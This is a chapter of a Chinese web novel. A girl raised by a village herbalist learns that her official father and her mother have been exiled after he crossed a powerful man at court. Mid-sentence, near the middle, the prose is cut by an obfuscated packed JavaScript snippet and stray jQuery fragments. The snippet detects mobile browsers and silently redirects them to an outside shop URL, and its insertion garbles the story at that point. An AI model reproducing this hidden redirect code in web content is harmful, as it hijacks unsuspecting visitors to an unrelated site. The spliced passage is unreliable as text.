时光荏苒，茫崖村的老槐树花落花开，转眼便是一年。
江晚桐已经开始跟着开花奶奶学认草药了，从寻常的车前草、蒲公英，到性情猛烈的半夏，她都能说得头头是道。
空闲的时候，她和阿檀也跟着村里的孩子一起满村跑，夏天摸鱼、秋天烧烤、冬天堆雪人、春天赏花，原本白皙的皮肤成了健康的小麦色，人也长高了不少，但最要紧的，是她终于等到了槐花开。
那天小晚桐和阿檀正在院中晒着日头吃桂花糖，父母猝不及防地出现在了院门前。
晚桐还愣在那里，江明远三步并作两步走到小晚桐跟前，一把将女儿抱起来举得高高的，爽朗的笑声惊飞了树上的雀鸟。
“爹爹的小晚桐，想爹爹了没有！”
江晚桐这才反应过来，搂着爹爹的脖子，咯咯直笑，脆声答道：“想了，想了这样多！”
她用两只手臂张到最开，仿佛要抱住整个天空。
宋芸华瞧着这一幕，目光比去年离别时又软了几分。
她向来是个清冷自持的人，情绪极少外露，可此刻站在这普通的农家小院里，看着女儿灿烂的笑脸，眉眼间的霜雪终是随着这许久不见的惦念一同化开了。
江晚桐从爹爹怀里探出身子，朝母亲伸出手，甜甜地喊了一声：
“娘！”
这一声喊得又脆又甜，落在风里，像一颗石子投进平静的湖面。
宋芸华嘴角那一丝清浅的笑意彻底漾开，她走上前，替女儿整了整衣领，轻声道：
“又长高了，都快到娘的腰了。”
晚桐骄傲地挺了挺胸脯：“那是自然，我吃了好多好多饭，奶奶做的菜最好吃了！”
这一回，爹娘住了好几日，可把小晚桐高兴坏了。
起初江明远带着晚桐去溪边摸鱼，父女俩笨手笨脚，摸了一下午，一条也没摸着，倒把衣裳湿了个透。
回来以后父女两人都结结实实挨了宋芸华一顿好骂：
“堂堂一个朝廷命官，带着女儿胡闹，成什么样子！”
江明远朝晚桐眨了眨眼，也不敢回嘴。
开花奶奶在旁边见状，笑着打圆场：
“不打紧不打紧，湿了换一身便是，开心就好。”
宋芸华剜了江明远一眼，便不再说了。
江明远趁宋芸华不注意，偷偷朝女儿做了个鬼脸。
晚桐捂着嘴笑，觉得爹爹是天底下第一可爱的人。
离开的那天，宋芸华把晚桐叫到跟前。
从自己手腕上褪下一只小小的银镯子，套在女儿的手腕上。
镯子上头刻着一圈精致的缠枝纹，素净又好看，那镯子还温温的，带着娘亲的温度。
“这是娘一直戴着的，如今给你了，戴着它，就像娘在身边一样。”
晚桐摸着镯子，冰凉丝滑。
她抬头问：“娘，你和爹爹是不是又要回去了？”
宋芸华点点头，望向远方层峦叠嶂的山影道：
“嗯，还有许多事，等着你爹去做。”
晚桐想了想，说：“那娘你们去做你们的事，我在这里跟奶奶学本事，等明年槐花开的时候，你再来看我。”
宋芸华看着女儿懂事的样子，眼眶竟微微红了。
她蹲下身子，将女儿紧紧搂在怀里。
那一个拥抱里，装着她说不出口的所有，有不舍、有愧疚、还有一份沉甸甸的、不肯轻易示人的爱。
马车走后，晚桐站在槐树下，举起手腕，看那只在阳光下闪着光的银镯子。
她能感觉到娘亲是爱她的，只是和爹爹的方式不一样。
爹爹的爱是溪边摸鱼时溅起的水花，热烈而直接。
母亲的爱则是腕上这沉静的银镯，内敛而深沉。
阿檀从院里跑出来，手里举着一封信：
“小姐小姐，老爷在桌上留了这个！”
晚桐接过来打开，里头只有几行工工整整的字。
一看便是爹爹的笔迹：
吾儿晚桐，爹爹回去了，你要听奶奶话，少吃糖，多吃饭。
爹爹给你留了一盒金乳酥，藏在床头柜子里，千万别让你娘知道。
晚桐噗嗤一声笑出来，心里那一点点离别的愁绪，也被爹爹这笨拙的关爱冲散了。
她跑回屋里，去找那盒金乳酥，并坚信着，等明年槐花开时，爹娘一定还会来。
然而，槐花年年都会开，爹娘却没有再来。
起先晚桐还满怀希望地一早就爬起来站在树下等，结果一等就是一整天，从日出等到日落。
晨光从树叶间漏下来的时候，她觉得今日是个好日子。
日头升到正头顶的时候，她想，爹爹定是被公务耽搁了。
待到天边烧起晚霞，山梁上依旧空空荡荡，她的心也一点一点沉了下去。
第二天开花奶奶递给她一封信。
信是爹爹写的。
寥寥数语，说公务繁忙，今年来不了了，嘱咐她听奶奶的话，信的末尾，画了个歪歪扭扭的笑脸。
那天晚上，晚桐抱着信躲在被子里偷偷哭了一场。
第二天一早，她又若无其事地跟着开花奶奶上山采药去了。
只是话比平时少了许多。
开花奶奶看在眼里，却没多问，只是在采药时，更多地给她讲一些草药的脾性和人生的道理。
“妞妞啊，”奶奶指着悬崖边一株独活的草药说，“你看它，生在最险的地方，根却扎得最深。”
“风来了，雨来了，旁边的草都倒了，就它还立着。”
“人也是一样，心里得有根，才立得稳。”
第二年槐花开时，她又去等了。
这一年，连信也没有了。
她在那棵老槐树下一连等了大半月，从槐花初绽，一直等到落英缤纷。
每当有马车声传来，她都会跑出院门张望，但每一次，都是失望而归。
那满树的白花，开得热热闹闹的，看在眼里，却只觉得冷清。
她开始明白，爹娘不会来了。
那方绣着梅花的帕子和腕上的银镯，成了她对母亲唯一的寄托。
阿檀见她闷闷不乐，便想方设法地逗她开心。
“小姐小姐，你瞧我抓的这只蛐蛐儿，多大！”
“小姐，村口王婶家的小花猫下崽了，咱们去要一只来养吧！”
但江晚桐只是摇摇头，她开始更拼命地跟开花奶奶学习。
她学得认真，记性又好，她知道娘亲让她来，是“学本事”的。
只要把本事学好，娘或许就会来接她了。
又或者，这也是她唯一能为远方的爹娘做的事。
直到很久以后，她在家中晒草药时，才从来找她的铁柱口中，隐约听到了爹娘的消息。
铁柱说他刚从镇上回来，听镇上茶馆里有人提起原先中州的江大人，说那可是出了名的大清官。
前些年，只因着性子耿直，在查一桩案子时，触怒了京中一位大人物，好像是动了人家的利益。
没过多久，便被一纸调令，远调到西北边关的苦寒之地，做了个有名无实的参军，那刀口舔血的生活，怕是一开始没打算让江大人活着回来了。
江晚桐听得心头阵阵发紧。
她想起父亲憨厚正直的样子，又想起母亲临走时望向远方那凝重的眼神。
原来那次他们来时就已经有所预兆了，原来不是他们不来，是来不了了。
这一晚，她望着北方的夜空，望着天上那轮清清冷冷的月亮，像极了母亲看着她时的目光，她把头埋进自己的臂弯里，半晌没有抬头。
开花奶奶瞧见，问她：“今天铁柱来同你讲什么了？看你魂不守舍的。”
晚桐鼻头一酸，“铁柱他说，说……奶奶，我爹娘他们还好么？”
“他们想我么？”
开花奶奶拉过晚桐的手，摸摸她的脑袋。
“妞妞啊。”
她叹了口气，“你爹娘比谁都想你，这些年他们没来，是有缘故的。”
“有些事我一直没同你说，是想等你再大些。”
“但如今你问了，那便也该让你晓得了。”
院门外老槐树的影子被月光拖得长长的，周围一时间寂静无声。
晚桐忽然有点儿害怕，怕开花奶奶说出来的事，同她这些年隐隐约约感觉到的东西撞在一处，怕铁柱说得都是真的，但她还是直起腰，等着开花奶奶开口。
开花奶奶走进屋去，再出来时手里多了一封信，信封边缘微微泛黄，有些磨损。
上面的字迹是娘亲的，她认得，因为她刚来茫崖村时娘亲给她寄过信来，这些年她已看了无数遍了。
“这是你娘前些年写来的，那时你还小，我一直没给你看。”
开花奶奶把信递给晚桐，“你自己瞧瞧吧。”
江晚桐接过信，手稍稍有些抖，她定了定便取出信，信很简短，却字字如刀，扎在她的心上。
干娘亲启：
京城风云骤变，江家恐有大祸。
明远已被调离要职，我亦随他前往。
晚桐在茫崖村之事，万勿让外人知晓。若有不测，只求干娘护她平安。
芸华顿首。
三年了，这封信寄出已经三年了。
也就是说，娘这些年不曾来信，不是不写，是不敢写，娘是在护她。
江晚桐把信折好递回去，手反而不抖了，心里那块悬了许久的石头终于落了地。
原来从前那些隐隐约约的不安都是真的，今日铁柱说的也是真的。
不是爹娘不来瞧她，是来不了。
“怕么？”开花奶奶问。
“怕，但是娘也同我说过，江家的孩子都要学吃苦，要吃得苦。”
开花奶奶瞧着晚桐，虽然眉眼神态都像极了宋芸华小时候，可骨子里又好似多了些什么。
也许是这几年在村里野出来的韧性，也许是早就猜到了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533599|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么却一直不哭不闹的沉静。
这世上大抵是有些种子，非得落在裂了纹的土里才长得结实，譬如眼前这个女娃。
“你这孩子，同你娘一般苦，但比你娘沉得住气。”
晚桐低下头想起娘说过的话，娘将你送来此处，不是不要你，是想让你过得更好。
原来娘说的“过得更好”，不是比从前更舒坦，而是比从前更能扛。
她来这里不只是学会认字背诗、望闻问切。
她夏日晒得满头汗，冬日冷得直跺脚，和阿檀一起在暴雨里抢收晾晒的药材，淋成两只落汤鸡，被奶奶一通骂完又一人灌了一碗热姜汤。
这些年的日日月月，把三岁时那个娇滴滴的小女娃磨成了一把薄薄的刀，爹娘不在身边，她反而学会了怎么站着。
江家的孩子都要学吃苦、吃得苦。
她以前只当是娘亲在哄她要好好学习，现在终于明白，这句话是真的要落在身上的。
当天夜里她又把信仔仔细细看了一遍。
娘的字清秀端正，她抚过那些字，把心里所有的怕都过了一遍。
然后将信拿给开花奶奶，让开花奶奶帮她收着。
窗外夜风穿堂而过，槐花香得发苦，她仰头望着那一树繁花，在心里轻声说：
娘，我会好好的。
若你不来，我便自己来寻你。
第二年的春天，槐花开得格外好。
晚桐搬了张小凳子坐在老槐树下，膝上摊着一本手抄的医书，是开花奶奶亲笔写的。
封面一片空白，但扉页写了一行清秀的小字：
医者，仁术也。
这本书晚桐已经从头到尾抄过三遍了。
她把书合上，仰头望着满树槐花纷纷扬扬的往下飘着。
想起五年前头一回来时，也是这样一树白花。
也是从那时起，她就开始等待，等槐花开，等爹娘来，槐花开了五回，落花铺了五层，爹娘却来不了了。
她也已经不太记得爹娘的模样了，只依稀记得娘身上有腊梅的冷香，爹抱她的时候有力的臂膀。
但那方手帕和那只镯子，却是一日不离的陪着她。
那年夏日，王铁柱拉着晚桐，爬上了村后的那座山，阿檀气喘吁吁地跟着两人，一起登上了山顶。
山顶的风很大，吹得他们的衣裳猎猎作响。
从山顶望去，整个茫崖村像一个大花脸，但是村口那棵老槐树，依然能一眼认出来。
“我爹说，山那边不是山，是很大很大的平地，有比茫崖村大一百倍的城，有能把整条街都照亮的灯。”
王铁柱指着远处连绵不绝的山峦，眼神里充满了向往，“他答应过带我和娘去看的。”
江晚桐看着他的侧脸，那上面已有了几分少年人的刚毅。
她问他：“铁柱，你长大了想做甚么？”
王铁柱捡起一颗石子，奋力朝山谷里扔了出去，石子划出一道漂亮的弧线，消失在视线里。
“我想当将军！当了将军，就能把村里的路修好，让我娘住不漏雨的屋子，让开花奶奶的草药卖到城里去，还要……还要把那些陷害好人的坏蛋都抓起来！”
“那你自己呢？你说了一堆旁的人，你自己想要甚么？”
王铁柱沉默了很久，末了，他伸出手，指着远山说：
“我想去山那边看看，替我爹带我娘去看。”
“好！”
江晚桐一下子站起来，拍着他的肩膀，带着不容置疑的口吻，说道：
“那你去，带你娘去看，也替我，去看看我爹娘。”
“小姐，”阿檀在一旁冷不丁地问，“你说老爷和夫人，他们现在在边关怎么样了？”
江晚桐望着远方，风吹凉了她的眼泪。
她缓缓说道：
“我不晓得，但奶奶说过，人心里头得有一座山，虽然看不见摸不着，可你须得知道它在那儿。”
“难过的时候，便朝着那座山走，走着走着便不难过了。”
“我爹心里有座山，所以他明知前路艰险，却还是会做。”
“铁柱心里有座山，所以他每日都练武。”
“我心里也有一座山，便是在这里学好本事，好好活着，等着和他们重逢的那一天。”
王铁柱转过头，看着晚桐，眼神里多了一种前所未有的光彩。
他用力地说：
“晚桐，你等我。等我当上将军，一定帮你把江大人和江夫人接回来！”
“行啊！”
江晚桐终于笑了，那笑容在夕阳下灿烂无比，“届时我请你吃槐花糕，做一大桌子！”
“还有芝麻糖和蜜饯！”阿檀赶紧补充。
“嗯！你信我！”王铁柱认真地许下承诺。
夕阳将三个孩子的影子拉得长长的，仿佛他们在一瞬间都已长成了大人。
那山顶的风，带着少年人的誓言和对未来的憧憬，吹向了遥远的、未知的山外世界。